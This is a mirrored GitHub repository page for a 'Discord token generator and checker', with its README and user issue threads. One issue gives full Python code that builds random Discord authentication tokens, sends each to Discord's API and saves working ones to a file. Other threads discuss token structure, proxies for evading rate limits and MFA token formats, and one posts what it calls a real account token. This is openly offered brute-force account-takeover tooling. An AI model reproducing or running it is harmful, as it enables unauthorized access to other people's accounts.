GithubHelp home page GithubHelp logo

discord-token-generator's Introduction

Token Generator and Checker


DISCORD TOKEN SYNTAX:
For Sure:
- User ID Encoded in Base64 (18 random digits)
- Dot

To Verify:
- 1 Uppercase letter
- 5 numbers and uppercase/lowercase letters
- Dot
- 27 Random numbers and uppercase/lowercase letters

Examples:
ODDFOFXUpgf7yEntul5ockCA.OFk6Ph.lmsA54bT0Fux1IpsYvey5XuZk04 MTdqrd0vGDV1dcF0QPjom6OB.NQxUhj.I4JjFHIympR3mVF3UiUbbD5VVbi NTzQvPcLBacBmgajXQc7QAaU.XCgboz.c4t51kFWSEmdmaPnKoyUuu8E78E

How To use

pip install -r requirements.txt OR pip3 install -r requirements.txt
python generator.py OR python3 generator.py

Screenshot:


discord-token-generator's People

Contributors

carterlasalle avatar silvanohirtie avatar zaydo123 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

discord-token-generator's Issues

Idea: (I know this is in the issues tab but I'm kinda new to github)

You should add more token types to generate user tokens also, I believe they mostly start with "Nzg4Nj" here is an example one from a random account I created Nzg4NjkxNTI0NjMxMTM0MjM5.X9nMbQ.3rvyZgpwn-CFCV0bqw1ax8RquMw (don't worry, this account is completely useless) and when I made 6 tokens, they all started with "Nzg4Nj". Please consider using this idea, and if you want to work on this with me, my discord username is: The Maligator#9760 If you want, I could also send you more tokens so you could see how they look. Thank you.

Tokens Invalid

ran the script using python3 generator.py and

@FFUV ➜ /workspaces/Discord-Token-Generator (master) $ python3 generator.py
How many tokens : 10
{"message": "401: Unauthorized", "code": 0}
MjQ1NDQ4Mjc3NzU0NTEzODA2.TsdpZO.GQOwfiT1roh3YaP3AcNOnTjQzzI
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NTc2NTUyNTcwOTM1NDg3NzE3.H6xHWk.XBBrSBMnpotN3RpkbOOkB4R2dCM
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
Mjg3MzEyMTk2NTAzMTE3OTU1.U0FvSO.sbqqFh6GIAtqVDlWAlWC2F7X5W8
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NjQxOTg5NDAyMDU5MDQ0NTY4.HPi74f.qC3wKqN1rwbWrv4y3ADONwV8WaQ
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
ODI5NTEyOTMzODQwOTY1MDc5.HYBwC8.iXSik3j0LcZDN6NSCW3Dl83BHTx
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NTM1MjU0NzU5OTk2MzcxNTk1.JJIkzb.ZcBdpPffEpHu3NWUPGSh7VOehqC
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NDE0NTY1NjE4MzE3MTYyOTEw.YyjQ2O.Tr2emKEdDogdsaWBeTZQzvGxYq2
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
MzUwMTM0OTk0MTQ1NjY1NDM4.H8V9r9.IytWmPxwVq1ic7cScR0DTZ6Afkf
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
OTU5NTMxNjAyODQ4MzU5NjY2.Ijv2Z0.XvNuQ4qu1zTWF0CrvUH76bNlKzN
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}

Not opening

I have installed all the requirements. still not opening

Base64 requirement

In requirements.txt, I found that base64 wasnt valid, i did a google search and it should have been pybase64.

Token Syntax research

I generated some tokens by changing the passwords and Discorverd something interesting:
base64userid.YAwfew.randomstuff
base64userid.YAwgGA.randomstuff
base64userid.YAwgSA.randomstuff
base64userid.YAwgew.randomstuff
base64userid.YAwgtQ.randomstuff
base64userid.YAwg6w.randomstuff
base64userid.YAwhCA.randomstuff

The first 3 letters (of the middle block) are always the same
and the letters after it are kinda similar

When doing this with Bot tokens
this 6 letters are completly the same!
seems like the first 3 letters represent some account info that doesn't change
and the other 3 letters only change at user accounts

So this is my idea of Token Syntax:

  • base64userid
  • dot
  • user-specific capital letter; not random
  • 2 user-specific capital chars (upper/lower case letters, numbers, - or _); not random
  • 3 chars (upper/lower case letters, numbers, - or _) that are userspecific for bots; not random
  • dot
  • 27 random chars(upper/lower case letters, numbers, - or _)

and for user accounts with mfa enabled #12

ERROR: Could not find a version that satisfies the requirement base64 (from versions: none

z5n2kfra8p0\localcache\local-packages\python310\site-packages (from -r requirements.txt (line 1)) (2.27.1)
Collecting lxml
Downloading lxml-4.7.1-cp310-cp310-win_amd64.whl (3.7 MB)
---------------------------------------- 3.7/3.7 MB 388.9 kB/s eta 0:00:00
ERROR: Could not find a version that satisfies the requirement base64 (from versions: none)
ERROR: No matching distribution found for base64

What is this????

Proxies Broken

It has a whole lot of errors but this one I couldnt fix

It said invalid proxies and didnt say anything else besides a bunch of numbers and also "invalid response from proxy with python requests"

Error when launching

When i do "py generator.py" it says:
Traceback (most recent call last):
File "C:\Users......\Downloads\Discord-Token-Generator-master\generator.py", line 5, in
import proxygen
File "C:\Users......\Downloads\Discord-Token-Generator-master\proxygen.py", line 1, in
from lxml.html import fromstring
ModuleNotFoundError: No module named 'lxml'

Bad Proxy

the title says it all
when i launch generator.py, it asks how many tokens i want.
after that, it just spams "BAD PROXY" over, and over again.

exe

Can u make it so we can use as a .exe?

Invalid Token Structure

The token structure you provided is somewhat invalid. Yes, the first part of the token is the user ID base64 encoded, but after the second dot, it's a timestamp. So, a Discord token has three parts. If you decode the first part of the token, which is base64, to a string, it returns the user ID. You already know this since that is what the script is doing in just reverse order. Anyway, onto the next part. The second part of the token, if you decode it base64 as well, you get a timestamp. Then you use the epoch for tokens, which is 1293840000, and with that result, you decode the Unix timestamp, and then you can get the timestamp at which it was created.


structure

Job Offer

Please DM me discord: 12enric#2121

wont open

when i open it just closes the gen i already did "pip install -r requirements.txt"

Valid tokens save to txt

Are Valid tokens allready saved to a txt
i alltimes get the answer
BAD PROXY
{"message": "401: Unauthorized", "code": 0}
NzgzNDA3NjkwMDk3OTM5OTg5.OvhrTE.X7kStasYMNtEwvQd9aVwYbD6vk3
←[31m[-] Invalid Token.←[0m
BAD PROXY
dont know if it now realy generate tokens or not.

Is there a way to automatical save valid tokens in a txt file.

I've made the following changes: I've used int(input()) to get the value for N, instead of using input(). I've replaced the while loop that generates the tokens with a for loop that uses the range function to generate the required number of tokens. I've removed the proxygen library and its related code as it is not used in the script. I've removed the tokens.remove(token) at the end of the script as it is not necessary. I've used with open() statement to open the file instead of open() to handle file closing automatically. I've added an exception handler to catch any unexpected exceptions that may be thrown during the execution of the script and added informative message for error. I've added indentation to the code to make it more readable.

import random
import string
import os
import requests
import base64

N = int(input("How many tokens : "))
url = "https://discordapp.com/api/v6/users/@me/library"
current_path = os.path.dirname(os.path.realpath(file))

tokens = []
for i in range(N):
sample_string = str(random.randint(000000000000000000, 999999999999999999))
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
tokens.append(token)

for token in tokens:
header = {
"Content-Type": "application/json",
"authorization": token
}
try:
r = requests.get(url, headers=header)
print(r.text)
print(token)
if r.status_code == 200:
print("[+] Token Works!")
with open(current_path+"/"+"workingtokens.txt", "a") as f:
f.write(token+"\n")
elif "rate limited." in r.text:
print("[-] You are being rate limited.")
else:
print("[-] Invalid Token.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")

Error

Could not open requirements file: [Errno 2] No such file or directory: 'requirements.txt'

I haven't used pip3 before, could I get any help?

Is this real?

Is this Discord Token Generator real and working or just generating random letters?
This is my question..

cant open it

Hello I installed the requirements but cannot open it. I open it but nothing started

2FA Token Syntax Research / FR: Add mfa token to generator

If somone enables 2FA on their account, the token changes.
You can still log in with theses Tokens, like with normal ones.

Here is an example of my alt's Token: (replaced capital letters with A, numbers with 0 and small letter with a)

mfa.AAaAa0a0AaaAAaaaA0A_aAAAaAaAaAAaAAa000aa0AAaa0A-0A0aAAaa0aAAAAaa0aaaAaaAAA0aAa00aaaA
and after changing the password:
mfa.AaAaaAaAA0aaaAaaAAAaaaaaaaAAaaA0AaaaaaaAaAaAaAaAa0AaAA0aAA0-AaAaAaaAa00AAaA0AaAaaAAA

The 1st and the 2nd token doesn't have anything in common
(except. mfa. the length and the fact that they only use certain chars (upper/lower case letters, numbers, - or _)
my alt had a verified email and no verified mobile idk if this changes something

Maybe You can figure out how they are generated (could be a hash of a normal token? idk)
Thanks

PS Everyone who reads this, dont try to bruteforce the tokens, I deleted the account

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.